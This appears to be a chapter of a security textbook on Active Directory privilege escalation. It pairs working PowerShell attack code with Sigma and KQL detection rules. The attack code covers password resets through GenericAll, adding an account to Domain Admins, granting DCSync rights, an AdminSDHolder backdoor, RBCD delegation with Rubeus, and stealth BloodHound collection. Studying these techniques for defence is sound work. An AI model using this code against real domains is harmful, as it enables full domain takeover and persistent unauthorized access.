Chapter 181

Active Directory Attacks

Active Directory is the backbone of enterprise identity. Every privileged operation — authentication, authorization, group policy application — flows through it. Attackers who understand AD object permissions, delegation configuration, and the SDProp mechanism can escalate from a helpdesk account to Domain Admin without ever exploiting a CVE. Detection requires monitoring specific LDAP query patterns, object ACL changes, and delegation flag modifications.

Scenario

You compromise a helpdesk account via phishing. The account has "GenericAll" on a high-value IT admin account (misconfigured delegation from a ticket system integration). You can reset that admin's password, log in as them, and discover they have WriteDACL on the Domain Admins group. One ACL write later, your helpdesk account is effectively Domain Admin — without touching LSASS, without a kernel exploit, using nothing but standard LDAP operations.

AD Enumeration

# Native .NET LDAP enumeration — no external tools required.
# DirectorySearcher uses the existing Kerberos token; no extra credentials.

# Find all users with SPN set (Kerberoastable — see ch182):
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectCategory=user)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname","pwdlastset"))
$searcher.FindAll() | ForEach-Object {
    [PSCustomObject]@{
        User = $_.Properties["samaccountname"][0]
        SPN  = $_.Properties["serviceprincipalname"] -join ", "
    }
}

# Find all domain admins:
$searcher.Filter = "(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local))"
$searcher.FindAll()

# Find computers with unconstrained delegation (T1134.001 enabler):
$searcher.Filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$searcher.PropertiesToLoad.Add("dnshostname") | Out-Null
$searcher.FindAll() | ForEach-Object { $_.Properties["dnshostname"][0] }

# Find accounts with "Password Never Expires" (likely service accounts, Kerberoastable):
$searcher.Filter = "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))"

ACL Abuse

AD ACL abuse paths — no exploit needed: GenericAll on User → Reset password, force SPN set, shadow credential GenericWrite on User → Set scriptPath (logon script) or add SPN (Kerberoast) WriteProperty(Member) → Add self to group (e.g., Domain Admins) WriteDACL on object → Grant yourself GenericAll or DCSync rights GenericAll on GPO → Modify GPO to run code on all computers it applies to ForceChangePassword → Change user password without knowing current password AllExtendedRights → Includes GetChanges+GetChangesAll (DCSync) on domain Owns object → Owner can modify DACL regardless of explicit denies Reachable in PowerShell via: Get-ObjectAcl -Identity "Domain Admins" | Where ActiveDirectoryRights -match "Write" (requires PowerView or RSAT ADSI)
# Exploit GenericAll on a user: reset their password via LDAP
# Uses System.DirectoryServices — no external binary needed

$user = [ADSI]"LDAP://CN=ITAdmin,OU=IT,DC=corp,DC=local"
$user.SetPassword("NewP@ss123!")
$user.CommitChanges()

# Add self to Domain Admins (requires WriteProperty(Member) or GenericAll on group):
$group = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=corp,DC=local"
$group.Add("LDAP://CN=HelpDesk,OU=Users,DC=corp,DC=local")

# WriteDACL abuse: grant yourself DCSync rights on the domain object
# Requires WriteDACL on the domain object (DC=corp,DC=local)
$domainObj = [ADSI]"LDAP://DC=corp,DC=local"
$acl = $domainObj.ObjectSecurity

$identity = [System.Security.Principal.SecurityIdentifier]"S-1-5-21-XXXX-YYYY-ZZZZ-1105"  # attacker SID
$adRights  = [System.DirectoryServices.ActiveDirectoryRights]"ExtendedRight"
$type      = [System.Security.AccessControl.AccessControlType]"Allow"

# GUIDs for GetChanges and GetChangesAll (DCSync):
$guidChanges    = [System.Guid]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
$guidChangesAll = [System.Guid]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"

$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $identity, $adRights, $type, $guidChanges, 0,
    [System.Guid]::Empty)))
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $identity, $adRights, $type, $guidChangesAll, 0,
    [System.Guid]::Empty)))
$domainObj.CommitChanges()

Delegation Attacks

Delegation TypeFlagAttackScope
UnconstrainedTRUSTED_FOR_DELEGATION (0x80000)Capture any user's TGT that authenticates to this machine; use TGT to impersonate user anywhereAny service on behalf of any user
Constrained (Kerberos)TRUSTED_TO_AUTH_FOR_DELEGATION (0x1000000)S4U2Self + S4U2Proxy: request ST for any user to allowed SPNsSpecific SPNs only; can impersonate any user
Resource-Based Constrained (RBCD)msDS-AllowedToActOnBehalfOfOtherIdentity on targetIf write access to target's attribute: add attacker machine; S4U2Proxy gives SYSTEM STTarget machine controlled by attribute
# RBCD attack: if you have write access to computer object's
# msDS-AllowedToActOnBehalfOfOtherIdentity attribute,
# you can delegate from a machine you control to the target.
# Result: service ticket for CIFS on target as any user (e.g., Domain Admin).

# Step 1: Create a fake computer account (any user can add up to 10 machines by default)
# using Impacket's addcomputer.py or PowerMad:
New-MachineAccount -MachineAccount FAKECOMP -Password (ConvertTo-SecureString "Compl3x!" -AsPlainText -Force)

# Step 2: Set msDS-AllowedToActOnBehalfOfOtherIdentity on target computer
$fakeSid = (Get-ADComputer FAKECOMP).SID
$SD = New-Object Security.AccessControl.RawSecurityDescriptor(
    "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakeSid))")
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-ADComputer TARGET -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $SDBytes}

# Step 3: Use Rubeus S4U to get service ticket for Administrator on TARGET\CIFS
# Rubeus.exe s4u /user:FAKECOMP$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET /ptt

BloodHound Attack Paths

# BloodHound collects AD data via LDAP/SMB and graphs attack paths.
# Collectors: SharpHound (C#) or bloodhound-python (from Linux).
# Key queries for attack path discovery:

# Find shortest path to Domain Admin from owned accounts:
# MATCH p=shortestPath((n:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

# Find all users with DCSync rights:
# MATCH (n)-[:GetChanges|GetChangesAll*1..2]->(d:Domain) RETURN n.name, d.name

# Find all computers with unconstrained delegation:
# MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

# Find ACLs where non-admin users have dangerous rights on high-value targets:
# MATCH (n)-[r:GenericAll|GenericWrite|WriteDACL|WriteOwner]->(m:Group)
# WHERE m.name =~ ".*ADMIN.*" RETURN n.name, type(r), m.name

# Silent SharpHound collection (avoids LDAP bulk query detection by using stealth mode):
# SharpHound.exe -c All --stealth --outputdirectory C:\Temp --outputprefix corp

AdminSDHolder Abuse

# AdminSDHolder: a special AD object whose ACL is propagated by SDProp
# (runs every 60 minutes) to all "protected" accounts (Domain Admins, etc.).
# If you can modify AdminSDHolder's ACL, your permission propagates to all protected accounts.
# Requires: GenericAll or WriteDACL on CN=AdminSDHolder,CN=System,DC=corp,DC=local

# Add attacker account with GenericAll to AdminSDHolder:
$adminSDHolder = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$acl = $adminSDHolder.ObjectSecurity

$attackerSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-...-1105")
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $attackerSID,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($ace)
$adminSDHolder.ObjectSecurity = $acl
$adminSDHolder.CommitChanges()

# After 60 minutes (or force SDProp to run):
# Invoke-SDPropagator -timeoutMinutes 1 -showProgress  (PowerView)
# Attacker now has GenericAll on all Domain Admins, Enterprise Admins, etc.

# Force immediate SDProp run (requires DA):
# ldap_modify: set fixUpInheritance on rootDSE

Detection Engineering

title: Suspicious LDAP Enumeration — Bulk SPN Query (Kerberoast Prep)
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: 'user'
    Properties|contains: 'servicePrincipalName'
    AccessMask: '0x100'   # DS-Read-Property
  timeframe: 60s
  condition: selection | count() by SubjectUserName > 50
level: high
tags: [attack.discovery, T1018]

title: AdminSDHolder ACL Modified
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136    # Directory service object modified
    ObjectDN|contains: 'CN=AdminSDHolder'
    AttributeLDAPDisplayName: 'nTSecurityDescriptor'
  condition: selection
level: critical
tags: [attack.persistence, T1078.002]

title: RBCD Attribute Set on Computer Object
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136
    ObjectClass: 'computer'
    AttributeLDAPDisplayName: 'msDS-AllowedToActOnBehalfOfOtherIdentity'
    OperationType: '%%14675'   # Value Added
  condition: selection
level: critical

-- MDE KQL: DCSync rights granted via DACL modification
IdentityDirectoryEvents
| where ActionType == "LDAP query"
| where Query has_any ("GetChanges", "Replicating Directory Changes",
                        "1131f6aa", "1131f6ad")
| project Timestamp, DeviceName, AccountName, Query

SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName == "nTSecurityDescriptor"
| where ObjectDN == "DC=corp,DC=local"
| where OperationCorrelationID != ""
| project TimeGenerated, SubjectAccount, ObjectDN, AttributeValue

Q&A

BloodHound reveals attack paths through ACL chains that no human reviewer would find by looking at individual permissions — what makes ACL-based attack paths so hard to detect during normal access reviews, and what automated controls close the gap?

ACL-based attack paths are difficult to catch in access reviews for two structural reasons. First, AD permissions are cumulative and transitive but displayed discretely. A reviewer looking at the Domain Admins group ACL sees a list of principals — but they do not see that one of those principals is itself a group whose membership can be written by a helpdesk account, whose password can be reset by a service account, which was recently compromised. Each individual permission looks benign in isolation: a service account has ForceChangePassword on one user (ticket-system integration), that user happens to be in a group that has WriteDACL on Domain Admins. No single permission is flagged. Only the graph traversal reveals the path.

Second, AD access reviews are almost always user-centric rather than object-centric. Reviewers ask "what can this account do?" rather than "who can reach this group?" The latter question, run as a reverse ACL traversal, is exactly what BloodHound's Cypher queries do — but it is not how human reviewers think.

The automated controls that close this gap are: (1) BloodHound Enterprise or a custom SharpHound + Neo4j deployment run on a scheduled basis, with alerting on any new shortest path to Domain Admins, Tier-0 accounts, or critical infrastructure DCs. New edges in the graph — a new ACL entry that wasn't there yesterday — trigger a review workflow. (2) Tier-model enforcement: all accounts with any write rights on Tier-0 objects (Domain Admins, Domain Controllers, AdminSDHolder) must themselves be Tier-0 accounts with matching controls (PAWs, MFA, logon restrictions). If a Tier-1 or Tier-2 account has write rights on a Tier-0 object, that is by definition a misconfiguration. (3) Event 5136 (Directory Service Object Modified) with filtering on writes to the nTSecurityDescriptor of high-value objects — Domain Admins, AdminSDHolder, the domain naming context root. Any modification to these objects should trigger immediate investigation. Combining the graph-based path discovery with real-time event alerting covers both discovery of existing misconfigurations and detection of new ones being introduced.